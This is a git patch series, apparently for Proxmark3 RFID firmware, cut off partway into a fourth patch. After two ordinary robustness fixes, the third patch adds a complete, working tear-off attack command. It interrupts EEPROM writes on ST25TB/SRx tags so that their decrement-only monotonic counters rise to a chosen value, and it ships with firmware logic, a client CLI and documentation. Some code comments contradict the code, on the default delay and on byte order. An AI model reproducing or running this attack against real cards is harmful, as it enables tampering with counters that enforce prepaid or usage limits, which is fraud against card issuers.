From 57f200d1072a84bb5785bbbe95cd0e130045484a Mon Sep 17 00:00:00 2001 From: xNovyz Date: Tue, 10 Mar 2026 23:06:28 +0100 Subject: [PATCH 1/5] fix(iso14443b): add WDT_HIT and timeout to DMA receive loop In Get14443bAnswerFromTag(), the behindBy == 0 idle loop (waiting for FPGA DMA samples) had no watchdog kick, no button check, and no timeout. If the FPGA stops providing the SSC clock, this loop spins infinitely until the hardware watchdog triggers a reboot. Add WDT_HIT(), BUTTON_PRESS() check, and a 200ms failsafe timeout using GetTickCountDelta() to prevent infinite spins. --- armsrc/iso14443b.c | 13 +++++++++++++ 1 file changed, 13 insertions(+) diff --git a/armsrc/iso14443b.c b/armsrc/iso14443b.c index 54c455b38..ed726451c 100644 --- a/armsrc/iso14443b.c +++ b/armsrc/iso14443b.c @@ -1379,10 +1379,23 @@ static int Get14443bAnswerFromTag(uint8_t *response, uint16_t max_len, uint32_t LED_D_ON(); FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_READER | FPGA_HF_READER_SUBCARRIER_848_KHZ | FPGA_HF_READER_MODE_RECEIVE_IQ); + uint32_t wait_start_time = GetTickCount(); + for (;;) { volatile uint16_t behindBy = ((uint16_t *)AT91C_BASE_PDC_SSC->PDC_RPR - upTo) & (DMA_BUFFER_SIZE - 1); if (behindBy == 0) { + WDT_HIT(); + if (BUTTON_PRESS()) { + ret = PM3_EOPABORTED; + break; + } + // Failsafe: if the FPGA SSC clock drops completely, DMA will freeze eternally. + // We use the ARM's main tick counter (1ms) instead of the SSP clock. + if (samples == 0 && GetTickCountDelta(wait_start_time) > 200) { + ret = PM3_ETIMEOUT; + break; + } continue; } From 0151c0d710df82a406c6a68c53370fc371c8f5b0 Mon Sep 17 00:00:00 2001 From: xNovyz Date: Tue, 10 Mar 2026 23:06:41 +0100 Subject: [PATCH 2/5] fix(fpga): add FpgaResetBitstream() to force re-initialization After aggressive field cycling (e.g. tear-off attacks), the FPGA's internal SSC/DMA state can become corrupted even though the bitstream is technically loaded. FpgaDownloadAndGo() caches downloaded_bitstream and skips re-download if it matches, so subsequent commands fail silently or hang. Add FpgaResetBitstream() which sets downloaded_bitstream to FPGA_BITSTREAM_UNKNOWN, forcing the next FpgaDownloadAndGo() to perform a complete reload. --- armsrc/fpgaloader.c | 4 ++++ armsrc/fpgaloader.h | 1 + 2 files changed, 5 insertions(+) diff --git a/armsrc/fpgaloader.c b/armsrc/fpgaloader.c index 384ec236c..e1c313414 100644 --- a/armsrc/fpgaloader.c +++ b/armsrc/fpgaloader.c @@ -630,6 +630,10 @@ int FpgaGetCurrent(void) { return downloaded_bitstream; } +void FpgaResetBitstream(void) { + downloaded_bitstream = FPGA_BITSTREAM_UNKNOWN; +} + // Turns off the antenna, // log message // if HF, Disable SSC DMA diff --git a/armsrc/fpgaloader.h b/armsrc/fpgaloader.h index 0786e608c..05fed4b1a 100644 --- a/armsrc/fpgaloader.h +++ b/armsrc/fpgaloader.h @@ -172,6 +172,7 @@ void SetupSpi(int mode); bool FpgaSetupSscDma(uint8_t *buf, uint16_t len); void Fpga_print_status(void); int FpgaGetCurrent(void); +void FpgaResetBitstream(void); void SetAdcMuxFor(uint32_t whichGpio); // extern and generel turn off the antenna method From 286df8f4ebe9640787bb17bec3b30d56a8004c49 Mon Sep 17 00:00:00 2001 From: xNovyz Date: Tue, 10 Mar 2026 23:07:25 +0100 Subject: [PATCH 3/5] feat(14b): add interactive hf 14b tearoff command Add an interactive command for performing tear-off attacks on ST25TB/SRx monotonic counter blocks. This exploits EEPROM tearing to increment counters that normally can only be decremented, based on the near-field-chaos project by SecLabz. The command sweeps tear-off timing from --start downward in --adj microsecond steps, automatically consolidates partial writes, verifies stability across multiple reads, and reports progress in real-time with color-coded output. Performance optimizations: - One-time full iso14443b_setup() at start; subsequent field cycles use lightweight tearoff_field_on()/tearoff_field_off() that skip FPGA bitstream reload and buffer reallocation - Periodic CMD_WTX keepalives to prevent USB timeouts during long attacks - Calls FpgaResetBitstream() on exit to ensure clean FPGA state Usage: hf 14b tearoff -b -d [--start ] [--adj ] --- CHANGELOG.md | 2 + armsrc/appmain.c | 4 + armsrc/iso14443b.c | 456 ++++++++++++++++++++++++++++++++ armsrc/iso14443b.h | 1 + client/src/cmdhf14b.c | 130 +++++++++ client/src/pm3line_vocabulary.h | 1 + doc/commands.json | 20 ++ doc/commands.md | 1 + include/pm3_cmd.h | 1 + 9 files changed, 616 insertions(+) diff --git a/CHANGELOG.md b/CHANGELOG.md index f66da49df..b4bfed418 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -3,6 +3,8 @@ All notable changes to this project will be documented in this file. This project uses the changelog in accordance with [keepchangelog](http://keepachangelog.com/). Please use this to write notable changes, which is not the same as git commit log... ## [unreleased][unreleased] +- Added `hf 14b tearoff` - interactive ST25TB/SRx monotonic counter tear-off attack (@xNovyz) +- Fixed missing `WDT_HIT()` in `Get14443bAnswerFromTag()` DMA polling loop causing hardware watchdog reboot on SSC clock stall (@xNovyz) - Added `hf mfp dump` command (@apply-science) - Added `hf felica seacinfo` command (@kormax) - Added `hf mfdes bruteisofid` and `hf mfdes selectisofid` commands (@kormax) diff --git a/armsrc/appmain.c b/armsrc/appmain.c index aee4d8326..43c3e68ea 100644 --- a/armsrc/appmain.c +++ b/armsrc/appmain.c @@ -1744,6 +1744,10 @@ static void PacketReceived(PacketCommandNG *packet) { setHf14bConfig(&c); break; } + case CMD_HF_ISO14443B_ST25TB_TEAROFF: { + ST25TB_TearOff(packet->data.asBytes); + break; + } case CMD_HF_CRYPTORF_SIM : { // simulate_crf_tag(); break; diff --git a/armsrc/iso14443b.c b/armsrc/iso14443b.c index ed726451c..eed18eed4 100644 --- a/armsrc/iso14443b.c +++ b/armsrc/iso14443b.c @@ -2622,6 +2622,462 @@ static void iso14b_set_trigger(bool enable) { g_trigger = enable; } +//============================================================================= +// ST25TB COUNTER TEAR-OFF IMPLEMENTATION +// Ported from near-field-chaos / hf_st25_tearoff standalone +//============================================================================= + +// Tear-off constants +#define TEAROFF_INITIAL_DELAY_US 150 +#define TEAROFF_MIN_DELAY_US 0 +#define TEAROFF_ADJUSTMENT_US_DEF 25 +#define TEAROFF_WRITE_RETRY_COUNT 30 +#define TEAROFF_CONSOLIDATE_READS 6 +#define TEAROFF_CONSOLIDATE_WAIT_RD 2 +#define TEAROFF_CONSOLIDATE_WAIT_MS 2000 + +// Bit manipulation macros +#define IS_ONE_BIT_T(value, index) ((value) & ((uint32_t)1 << (index))) +#define IS_ZERO_BIT_T(value, index) (!IS_ONE_BIT_T(value, index)) + +// Simple PRNG for randomization in tear-off value selection +static unsigned long s_tearoff_prng_seed = 1; +static int tearoff_rand(void) { + s_tearoff_prng_seed = s_tearoff_prng_seed * 1103515245 + 12345; + return (unsigned int)(s_tearoff_prng_seed / 65536) % 32768; +} + +// Quick field restart after tear-off (FPGA bitstream already loaded, buffers allocated). +// This is MUCH faster than full iso14443b_setup() since it skips: +// - FpgaDownloadAndGo (bitstream already cached) +// - BigBuf_free + BigBuf_calloc (demod buffers persist) +// - 100ms field stabilization (tag only needs ~20ms to power up) +static void tearoff_field_on(void) { + // Re-enable reader mode + SetAdcMuxFor(GPIO_MUXSEL_HIPKD); + FpgaSetupSsc(FPGA_MAJOR_MODE_HF_READER); +#ifdef RDV4 + FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_READER | FPGA_HF_READER_MODE_SEND_SHALLOW_MOD_RDV4); +#else + FpgaWriteConfWord(FPGA_MAJOR_MODE_HF_READER | FPGA_HF_READER_MODE_SEND_SHALLOW_MOD); +#endif + // Brief field stabilization — tag needs ~5-15ms to power on from RF + SpinDelay(20); + Demod14bReset(); + Uart14bReset(); + StartCountSspClk(); + iso14b_set_fwt(8); + s_field_on = true; +} + +static void tearoff_field_off(void) { + FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); + s_field_on = false; + // CRITICAL: When interrupting an active EEPROM write, the tag's charge pump + // is active. We MUST wait several milliseconds with the field fully OFF to + // drain the tag's capacitor. If we turn the field back on too quickly, the + // tag's Power-On Reset (POR) circuit won't trigger and the tag becomes + // digitally latched-up/unresponsive until physically removed. + SpinDelay(10); +} + +static void tearoff_exit(void) { + g_tearoff_enabled = false; + g_tearoff_delay_us = 0; + // Force a full FPGA bitstream reload on the next HF command. + // After hundreds of rapid field on/off cycles, the FPGA's internal + // state machine (SSC/DMA) can become corrupted even though its bitstream + // is technically loaded. Invalidating the cache forces FpgaDownloadAndGo() + // to do a complete re-initialization next time. + FpgaResetBitstream(); + switch_off(); + SpinDelay(20); + BigBuf_free_keep_EM(); + s_field_on = false; +} + +// Read a single ST25TB/SRx block with lightweight field cycle +static int tearoff_read_block(uint8_t block_address, uint32_t *block_value) { + int res; + iso14b_card_select_t card; + + tearoff_field_on(); + + res = iso14443b_select_srx_card(&card); + if (res != PM3_SUCCESS) { + tearoff_field_off(); + return res; + } + + uint8_t block[ISO14B_BLOCK_SIZE]; + res = read_14b_srx_block(block_address, block); + if (res == PM3_SUCCESS) { + *block_value = (uint32_t)block[0] | + ((uint32_t)block[1] << 8) | + ((uint32_t)block[2] << 16) | + ((uint32_t)block[3] << 24); + } + + tearoff_field_off(); + return res; +} + +// Low-level write command (no response expected for SRx write) +static int tearoff_cmd_write_block(uint8_t block_address, uint8_t *block) { + uint8_t cmd[] = {ISO14443B_WRITE_BLK, block_address, block[0], block[1], block[2], block[3], 0x00, 0x00}; + AddCrc14B(cmd, 6); + + uint32_t start_time = 0; + uint32_t eof_time = 0; + CodeAndTransmit14443bAsReader(cmd, sizeof(cmd), &start_time, &eof_time, true); + return PM3_SUCCESS; +} + +// Write a block then cut RF at precise timing for tear-off effect +static void tearoff_write_block(uint8_t block_address, uint32_t data, uint16_t tearoff_delay_us) { + + uint8_t block[ISO14B_BLOCK_SIZE]; + block[0] = (data & 0xFF); + block[1] = (data >> 8) & 0xFF; + block[2] = (data >> 16) & 0xFF; + block[3] = (data >> 24) & 0xFF; + + tearoff_field_on(); + + iso14b_card_select_t card; + int res = iso14443b_select_srx_card(&card); + if (res != PM3_SUCCESS) { + tearoff_field_off(); + return; + } + + g_tearoff_enabled = true; + g_tearoff_delay_us = tearoff_delay_us; + + tearoff_cmd_write_block(block_address, block); + + if (tearoff_hook() == PM3_ETEAROFF) { + s_field_on = false; + // CRITICAL: When interrupting an active EEPROM write, the tag's charge pump + // is active. We MUST wait several milliseconds with the field fully OFF to + // drain the tag's capacitor. If we turn the field back on too quickly, the + // tag's Power-On Reset (POR) circuit won't trigger and the tag becomes + // digitally latched-up/unresponsive until physically removed. + SpinDelay(10); + } else { + // Fallback if hook didn't trigger for some reason + tearoff_field_off(); + } +} + +// Write then verify with retries +static int8_t tearoff_retry_write_verify(uint8_t block_address, uint32_t target_value, + uint32_t max_try_count, int sleep_time_ms, + uint32_t *read_back_value) { + uint32_t i = 0; + *read_back_value = ~target_value; + + while (*read_back_value != target_value && i < max_try_count) { + tearoff_write_block(block_address, target_value, 6000); // Long delay = reliable write + if (sleep_time_ms > 0) SpinDelayUsPrecision(sleep_time_ms * 1000); + tearoff_read_block(block_address, read_back_value); + if (sleep_time_ms > 0) SpinDelayUsPrecision(sleep_time_ms * 1000); + i++; + } + + return (*read_back_value == target_value) ? 0 : -1; +} + +// Check if a value is stable (consolidated) across multiple reads +static int8_t tearoff_is_consolidated(uint8_t block_address, uint32_t value, + int repeat_read, int sleep_time_ms, + uint32_t *read_value) { + int result; + for (int i = 0; i < repeat_read; i++) { + if (sleep_time_ms > 0) SpinDelayUsPrecision(sleep_time_ms * 1000); + result = tearoff_read_block(block_address, read_value); + if (result != 0 || value != *read_value) { + return -1; + } + } + return 0; +} + +// Consolidate a block to a stable state with decrement writes +static int8_t tearoff_consolidate_block(uint8_t block_address, uint32_t current_value, + uint32_t target_value, uint32_t *read_back_value) { + int8_t result; + uint32_t consolidation_value; + + if (target_value <= 0xFFFFFFFD && current_value >= (target_value + 2)) { + consolidation_value = target_value + 2; + } else { + consolidation_value = current_value; + } + + result = tearoff_retry_write_verify(block_address, consolidation_value - 1, + TEAROFF_WRITE_RETRY_COUNT, 0, read_back_value); + if (result != 0) { + Dbprintf("Consolidation failed at step 1 (write 0x%08X)", consolidation_value - 1); + return -1; + } + + if (*read_back_value != 0xFFFFFFFE || target_value == 0xFFFFFFFD) { + result = tearoff_retry_write_verify(block_address, consolidation_value - 2, + TEAROFF_WRITE_RETRY_COUNT, 0, read_back_value); + if (result != 0) { + Dbprintf("Consolidation failed at step 2 (write 0x%08X)", consolidation_value - 2); + return -1; + } + } + + if (result == 0 && target_value > 0xFFFFFFFD && *read_back_value > 0xFFFFFFFD) { + result = tearoff_is_consolidated(block_address, *read_back_value, + TEAROFF_CONSOLIDATE_READS, 0, read_back_value); + if (result == 0) { + result = tearoff_is_consolidated(block_address, *read_back_value, + TEAROFF_CONSOLIDATE_WAIT_RD, + TEAROFF_CONSOLIDATE_WAIT_MS, read_back_value); + if (result != 0) { + Dbprintf("Consolidation failed stability check (long wait)"); + return -1; + } + } else { + Dbprintf("Consolidation failed stability check (short wait)"); + return -1; + } + } + + return 0; +} + +// Calculate next value to attempt for tear-off write +static uint32_t tearoff_next_value(uint32_t current_value, bool randomness) { + uint32_t value = 0; + int8_t index = 31; + + if (current_value < 0x0000FFFF) { + return (current_value > 0) ? current_value - 1 : 0; + } + + while (index >= 0) { + if (value == 0 && IS_ONE_BIT_T(current_value, index)) { + value = 0xFFFFFFFF >> (31 - index); + index--; + } + + if (value != 0 && IS_ZERO_BIT_T(current_value, index)) { + index++; + value &= ~((uint32_t)1 << index); + + if (randomness && value < 0xF0000000 && index > 1) { + value ^= ((uint32_t)1 << (tearoff_rand() % index)); + } + return value; + } + + index--; + } + + return (current_value > 0) ? current_value - 1 : 0; +} + +// Adjust tear-off timing +static void tearoff_adjust_timing(int *tear_off_us, uint32_t tear_off_adjustment_us) { + *tear_off_us -= tear_off_adjustment_us; + if (*tear_off_us < TEAROFF_MIN_DELAY_US) { + *tear_off_us = TEAROFF_MIN_DELAY_US; + } +} + +// Log tear-off attempt with binary representation +static void tearoff_log(int tear_off_us, const char *color, uint32_t value) { + char bin[33]; + for (int i = 31; i >= 0; i--) { + bin[31 - i] = IS_ONE_BIT_T(value, i) ? '1' : '0'; + } + bin[32] = '\0'; + Dbprintf("%s%08X%s : %s%s%s : %d us", color, value, "\033[0m", color, bin, "\033[0m", tear_off_us); +} + +// Payload structure for tear-off command +typedef struct { + uint8_t block_address; + uint32_t target_value; + uint32_t tear_off_adjustment_us; + uint32_t safety_value; + uint32_t start_time_us; +} PACKED st25tb_tearoff_params_t; + +// Main ST25TB tear-off function, called from appmain.c +void ST25TB_TearOff(const uint8_t *data) { + const st25tb_tearoff_params_t *params = (const st25tb_tearoff_params_t *)data; + + uint8_t block_address = params->block_address; + uint32_t target_value = params->target_value; + uint32_t tear_off_adjustment_us = params->tear_off_adjustment_us; + uint32_t safety_value = params->safety_value; + uint32_t start_time_us = params->start_time_us; + + int result; + bool trigger = true; + + uint32_t read_value = 0; + uint32_t current_value = 0; + uint32_t last_consolidated_value = 0; + uint32_t tear_off_value = 0; + + // Start delay: user-specified or default 3000us (well within ~4ms EEPROM write window) + int tear_off_us = (start_time_us > 0) ? (int)start_time_us : TEAROFF_INITIAL_DELAY_US; + if (tear_off_adjustment_us == 0) { + tear_off_adjustment_us = TEAROFF_ADJUSTMENT_US_DEF; + } + + // One-time full setup: loads FPGA bitstream, allocates demod buffers, + // configures ADC mux and SSC. All subsequent field cycles use the + // lightweight tearoff_field_on/off which skip the heavy initialization. + iso14443b_setup(); + set_tracing(true); + tearoff_field_off(); // Start with field off, tearoff_read_block will turn it on + + // Initial read + result = tearoff_read_block(block_address, ¤t_value); + if (result != PM3_SUCCESS) { + Dbprintf("Initial read failed for block %d", block_address); + reply_ng(CMD_HF_ISO14443B_ST25TB_TEAROFF, PM3_ESOFT, NULL, 0); + tearoff_exit(); + return; + } + + tear_off_value = tearoff_next_value(current_value, false); + + Dbprintf(""); + Dbprintf(_CYAN_("ST25TB Tear-off counter attack")); + Dbprintf("------------------------------"); + Dbprintf(" Target block: %d", block_address); + Dbprintf("Current value: 0x%08X", current_value); + Dbprintf(" Target value: 0x%08X", target_value); + Dbprintf(" Safety value: 0x%08X", safety_value); + Dbprintf("Adjustment us: %u", tear_off_adjustment_us); + Dbprintf(""); + + if (current_value == target_value) { + Dbprintf(_GREEN_("Current value already matches target.")); + reply_ng(CMD_HF_ISO14443B_ST25TB_TEAROFF, PM3_SUCCESS, (uint8_t *)¤t_value, sizeof(current_value)); + tearoff_exit(); + return; + } + + if (tear_off_value == 0 && current_value != 0) { + Dbprintf("Tear-off technique not possible from current value."); + reply_ng(CMD_HF_ISO14443B_ST25TB_TEAROFF, PM3_ESOFT, NULL, 0); + tearoff_exit(); + return; + } + + // Main tear-off loop + uint32_t loop_count = 0; + int consecutive_read_fails = 0; + + for (;;) { + WDT_HIT(); + loop_count++; + + // Send WTX keepalive every ~500 iterations to prevent USB timeout + // Each iteration takes ~1-10ms (select + write + read), so this + // fires roughly every 1-5 seconds. We request 10s extension each time. + if ((loop_count % 500) == 0) { + send_wtx(10000); + } + + // Check for user abort (button press or USB data) + if (BUTTON_PRESS() || data_available()) { + Dbprintf("Tear-off stopped by user."); + reply_ng(CMD_HF_ISO14443B_ST25TB_TEAROFF, PM3_EOPABORTED, (uint8_t *)¤t_value, sizeof(current_value)); + tearoff_exit(); + return; + } + + // Safety check + if (tear_off_value < safety_value) { + Dbprintf("Stopped. Safety threshold reached (next value 0x%08X < safety 0x%08X)", + tear_off_value, safety_value); + reply_ng(CMD_HF_ISO14443B_ST25TB_TEAROFF, PM3_ESOFT, (uint8_t *)¤t_value, sizeof(current_value)); + tearoff_exit(); + return; + } + + // Perform tear-off write attempt + tearoff_write_block(block_address, tear_off_value, tear_off_us); + + // Read back + result = tearoff_read_block(block_address, &read_value); + if (result != 0) { + consecutive_read_fails++; + if (consecutive_read_fails > 10) { + Dbprintf("Read failed %d times consecutively. Is the tag present?", consecutive_read_fails); + reply_ng(CMD_HF_ISO14443B_ST25TB_TEAROFF, PM3_ESOFT, (uint8_t *)¤t_value, sizeof(current_value)); + tearoff_exit(); + return; + } + tear_off_us++; + continue; // Retry if read fails + } + consecutive_read_fails = 0; + + // Analyze result + if (read_value > current_value) { + // Partial write success (tear-off glitch worked) + if (read_value >= 0xFFFFFFFE || + (read_value - 2) > target_value || + read_value != last_consolidated_value || + ((read_value & 0xF0000000) > (current_value & 0xF0000000))) { + + result = tearoff_consolidate_block(block_address, read_value, + target_value, ¤t_value); + if (result == 0 && current_value == target_value) { + tearoff_log(tear_off_us, "\033[32m", read_value); + Dbprintf(""); + Dbprintf(_GREEN_("Target value 0x%08X reached successfully!"), target_value); + reply_ng(CMD_HF_ISO14443B_ST25TB_TEAROFF, PM3_SUCCESS, (uint8_t *)¤t_value, sizeof(current_value)); + tearoff_exit(); + return; + } + if (read_value != last_consolidated_value) { + tearoff_adjust_timing(&tear_off_us, tear_off_adjustment_us); + } + last_consolidated_value = read_value; + tear_off_value = tearoff_next_value(current_value, false); + trigger = true; + tearoff_log(tear_off_us, "\033[32m", read_value); + } + } else if (read_value == tear_off_value) { + // Full write went through (no tear-off effect) + if (trigger) { + tear_off_value = tearoff_next_value(tear_off_value, true); + trigger = false; + } else { + tear_off_value = tearoff_next_value(read_value, false); + trigger = true; + } + current_value = read_value; + tearoff_adjust_timing(&tear_off_us, tear_off_adjustment_us); + tearoff_log(tear_off_us, "\033[34m", read_value); + } else if (read_value < tear_off_value) { + // Partial write but went lower + tear_off_value = tearoff_next_value(read_value, false); + tearoff_adjust_timing(&tear_off_us, tear_off_adjustment_us); + current_value = read_value; + trigger = true; + tearoff_log(tear_off_us, "\033[31m", read_value); + } + + // Increment timing for next attempt + tear_off_us++; + } +} + + void SendRawCommand14443B(iso14b_raw_cmd_t *p) { // turn on trigger (LED_A) diff --git a/armsrc/iso14443b.h b/armsrc/iso14443b.h index c8b8629c1..0e509d000 100644 --- a/armsrc/iso14443b.h +++ b/armsrc/iso14443b.h @@ -49,6 +49,7 @@ int read_14b_srx_block(uint8_t blocknr, uint8_t *block); int iso14443b_select_srx_card(iso14b_card_select_t *card); void SniffIso14443b(void); void SendRawCommand14443B(iso14b_raw_cmd_t *p); +void ST25TB_TearOff(const uint8_t *data); void CodeAndTransmit14443bAsReader(const uint8_t *cmd, int len, uint32_t *start_time, uint32_t *eof_time, bool framing); // 14b config diff --git a/client/src/cmdhf14b.c b/client/src/cmdhf14b.c index 37ecb2297..b605f5c7d 100644 --- a/client/src/cmdhf14b.c +++ b/client/src/cmdhf14b.c @@ -3192,6 +3192,135 @@ static int CmdHF14BMobibRead(const char *Cmd) { return PM3_SUCCESS; } +static int CmdHF14BSriTearoff(const char *Cmd) { + + CLIParserContext *ctx; + CLIParserInit(&ctx, "hf 14b tearoff", + "Use tear-off technique to manipulate ST25TB/SRx monotonic counter blocks.\n" + "This exploits EEPROM tearing to increment counters that normally can only\n" + "be decremented. Based on the near-field-chaos project by SecLabz.\n" + "\n" + "The attack works by sending a write command and cutting the RF field at\n" + "a precise moment, causing a partial write that can raise the counter value.\n" + "The operation usually takes a few seconds to a few minutes.\n" + "\n" + " NOTE: 0xFFFFFFFE values may be unstable due to tag internals.\n" + " Keep the tag positioned steadily on the antenna.\n", + "hf 14b tearoff -b 5 -d FFFFFFFE\n" + "hf 14b tearoff -b 6 -d FFFFFFFE\n" + "hf 14b tearoff -b 5 -d FFFFFFFE --start 5000 --adj 50\n" + "hf 14b tearoff -b 5 -d FFFFFFFE --safety 1000\n" + ); + + void *argtable[] = { + arg_param_begin, + arg_int1("b", "block", "", "block number (typically 5 or 6 for ST25TB counters)"), + arg_str1("d", "data", "", "target counter value (4 hex bytes, e.g. FFFFFFFE)"), + arg_int0(NULL, "adj", "", "tear-off timing step in us (default: 25)"), + arg_int0(NULL, "safety", "", "safety threshold value (default: 0x1000)"), + arg_int0(NULL, "start", "", "initial tear-off delay in us (default: 150)"), + arg_param_end + }; + CLIExecWithReturn(ctx, Cmd, argtable, false); + + int blockno = arg_get_int_def(ctx, 1, -1); + + int dlen = 0; + uint8_t data[4] = {0}; + int res = CLIParamHexToBuf(arg_get_str(ctx, 2), data, sizeof(data), &dlen); + if (res) { + CLIParserFree(ctx); + return PM3_EINVARG; + } + + int adj = arg_get_int_def(ctx, 3, 0); + int safety = arg_get_int_def(ctx, 4, 0x1000); + int start = arg_get_int_def(ctx, 5, 0); + CLIParserFree(ctx); + + if (dlen != 4) { + PrintAndLogEx(FAILED, "target value must be 4 hex bytes, got %d", dlen); + return PM3_EINVARG; + } + + if (blockno < 0 || blockno > 255) { + PrintAndLogEx(FAILED, "block number must be 0-255, got %d", blockno); + return PM3_EINVARG; + } + + // Convert data bytes to uint32_t (little-endian as per ST25TB convention) + uint32_t target_value = (uint32_t)data[0] << 24 | + (uint32_t)data[1] << 16 | + (uint32_t)data[2] << 8 | + (uint32_t)data[3]; + + PrintAndLogEx(INFO, ""); + PrintAndLogEx(INFO, "--- " _CYAN_("ST25TB Tear-off Attack") " ---------"); + PrintAndLogEx(INFO, " block............. " _YELLOW_("%d"), blockno); + PrintAndLogEx(INFO, " target value...... " _YELLOW_("0x%08X"), target_value); + PrintAndLogEx(INFO, " start delay....... " _YELLOW_("%d") " us", start > 0 ? start : 150); + PrintAndLogEx(INFO, " timing step....... " _YELLOW_("%d") " us", adj > 0 ? adj : 25); + PrintAndLogEx(INFO, " safety threshold.. " _YELLOW_("0x%04X"), safety); + PrintAndLogEx(INFO, ""); + PrintAndLogEx(INFO, "Press " _GREEN_("pm3 button") " or " _GREEN_("Enter") " to abort"); + PrintAndLogEx(INFO, ""); + + // Build payload (must match st25tb_tearoff_params_t on ARM side) + struct { + uint8_t block_address; + uint32_t target_value; + uint32_t tear_off_adjustment_us; + uint32_t safety_value; + uint32_t start_time_us; + } PACKED payload; + + payload.block_address = (uint8_t)blockno; + payload.target_value = target_value; + payload.tear_off_adjustment_us = (uint32_t)adj; + payload.safety_value = (uint32_t)safety; + payload.start_time_us = (uint32_t)start; + + clearCommandBuffer(); + SendCommandNG(CMD_HF_ISO14443B_ST25TB_TEAROFF, (uint8_t *)&payload, sizeof(payload)); + + // Wait for response with generous timeout. + // The ARM side sends periodic CMD_WTX keepalive packets to extend + // the timeout, so the attack can run as long as needed. + // Use -1 for infinite wait (extended via WTX), abort with Enter key. + PacketResponseNG resp; + if (WaitForResponseTimeout(CMD_HF_ISO14443B_ST25TB_TEAROFF, &resp, -1) == false) { + PrintAndLogEx(WARNING, "command failed or connection lost"); + return PM3_ETIMEOUT; + } + + if (resp.status == PM3_SUCCESS) { + uint32_t final_value = 0; + if (resp.length >= sizeof(uint32_t)) { + memcpy(&final_value, resp.data.asBytes, sizeof(uint32_t)); + } + PrintAndLogEx(SUCCESS, "Tear-off attack " _GREEN_("successful")); + PrintAndLogEx(SUCCESS, "Final block value: " _GREEN_("0x%08X"), final_value); + } else if (resp.status == PM3_EOPABORTED) { + uint32_t final_value = 0; + if (resp.length >= sizeof(uint32_t)) { + memcpy(&final_value, resp.data.asBytes, sizeof(uint32_t)); + } + PrintAndLogEx(WARNING, "Tear-off attack " _YELLOW_("aborted by user")); + PrintAndLogEx(INFO, "Last known value: 0x%08X", final_value); + } else { + PrintAndLogEx(FAILED, "Tear-off attack " _RED_("failed")); + if (resp.length >= sizeof(uint32_t)) { + uint32_t final_value = 0; + memcpy(&final_value, resp.data.asBytes, sizeof(uint32_t)); + PrintAndLogEx(INFO, "Last known value: 0x%08X", final_value); + } + } + + PrintAndLogEx(INFO, ""); + PrintAndLogEx(HINT, "Hint: use " _YELLOW_("`hf 14b rdbl -b %d`") " to verify the block", blockno); + return PM3_SUCCESS; +} + static int CmdHF14BSetUID(const char *Cmd) { CLIParserContext *ctx; @@ -3288,6 +3417,7 @@ static command_t CommandTable[] = { {"sim", CmdHF14BSim, IfPm3Iso14443b, "Fake ISO ISO-14443-B tag"}, {"sniff", CmdHF14BSniff, IfPm3Iso14443b, "Eavesdrop ISO-14443-B"}, {"wrbl", CmdHF14BSriWrbl, IfPm3Iso14443b, "Write data to a SRI512/SRIX4 tag"}, + {"tearoff", CmdHF14BSriTearoff, IfPm3Iso14443b, "Tear-off attack on ST25TB/SRx counter blocks"}, {"view", CmdHF14BView, AlwaysAvailable, "Display content from tag dump file"}, {"valid", CmdSRIX4kValid, AlwaysAvailable, "SRIX4 checksum test"}, {"---------", CmdHelp, AlwaysAvailable, "------------------ " _CYAN_("Calypso / Mobib") " ------------------"}, diff --git a/client/src/pm3line_vocabulary.h b/client/src/pm3line_vocabulary.h index 211b3efc8..788eefe16 100644 --- a/client/src/pm3line_vocabulary.h +++ b/client/src/pm3line_vocabulary.h @@ -177,6 +177,7 @@ const static vocabulary_t vocabulary[] = { { 0, "hf 14b sim" }, { 0, "hf 14b sniff" }, { 0, "hf 14b wrbl" }, + { 0, "hf 14b tearoff" }, { 1, "hf 14b view" }, { 1, "hf 14b valid" }, { 0, "hf 14b calypso" }, diff --git a/doc/commands.json b/doc/commands.json index d076de051..8447d899b 100644 --- a/doc/commands.json +++ b/doc/commands.json @@ -1680,6 +1680,26 @@ ], "usage": "hf 14b sniff [-h]" }, + "hf 14b tearoff": { + "command": "hf 14b tearoff", + "description": "Use tear-off technique to manipulate ST25TB/SRx monotonic counter blocks. This exploits EEPROM tearing to increment counters that normally can only be decremented. Based on the near-field-chaos project by SecLabz. The attack works by sending a write command and cutting the RF field at a precise moment, causing a partial write that can raise the counter value. The operation usually takes a few seconds to a few minutes. NOTE: 0xFFFFFFFE values may be unstable due to tag internals. Keep the tag positioned steadily on the antenna.", + "notes": [ + "hf 14b tearoff -b 5 -d FFFFFFFE", + "hf 14b tearoff -b 6 -d FFFFFFFE", + "hf 14b tearoff -b 5 -d FFFFFFFE --start 5000 --adj 50", + "hf 14b tearoff -b 5 -d FFFFFFFE --safety 1000" + ], + "offline": false, + "options": [ + "-h, --help This help", + "-b, --block block number (typically 5 or 6 for ST25TB counters)", + "-d, --data target counter value (4 hex bytes, e.g. FFFFFFFE)", + "--adj tear-off timing step in us (default: 25)", + "--safety safety threshold value (default: 0x1000)", + "--start initial tear-off delay in us (default: 150)" + ], + "usage": "hf 14b tearoff [-h] -b -d [--adj ] [--safety ] [--start ]" + }, "hf 14b valid": { "command": "hf 14b valid", "description": "SRIX checksum test", diff --git a/doc/commands.md b/doc/commands.md index dd90a58ae..58e8ecf03 100644 --- a/doc/commands.md +++ b/doc/commands.md @@ -228,6 +228,7 @@ Check column "offline" for their availability. |`hf 14b sim `|N |`Fake ISO ISO-14443-B tag` |`hf 14b sniff `|N |`Eavesdrop ISO-14443-B` |`hf 14b wrbl `|N |`Write data to a SRI512/SRIX4 tag` +|`hf 14b tearoff `|N |`Tear-off attack on ST25TB/SRx counter blocks` |`hf 14b view `|Y |`Display content from tag dump file` |`hf 14b valid `|Y |`SRIX4 checksum test` |`hf 14b calypso `|N |`Read contents of a Calypso card` diff --git a/include/pm3_cmd.h b/include/pm3_cmd.h index ca02840cc..37b881be4 100644 --- a/include/pm3_cmd.h +++ b/include/pm3_cmd.h @@ -775,6 +775,7 @@ typedef struct { #define CMD_HF_ISO14443B_PRINT_CONFIG 0x03D0 #define CMD_HF_ISO14443B_GET_CONFIG 0x03D1 #define CMD_HF_ISO14443B_SET_CONFIG 0x03D2 +#define CMD_HF_ISO14443B_ST25TB_TEAROFF 0x03D3 // For measurements of the antenna tuning #define CMD_MEASURE_ANTENNA_TUNING 0x0400 From 52676ebbd468d82a9e3926103af3b124bd146f69 Mon Sep 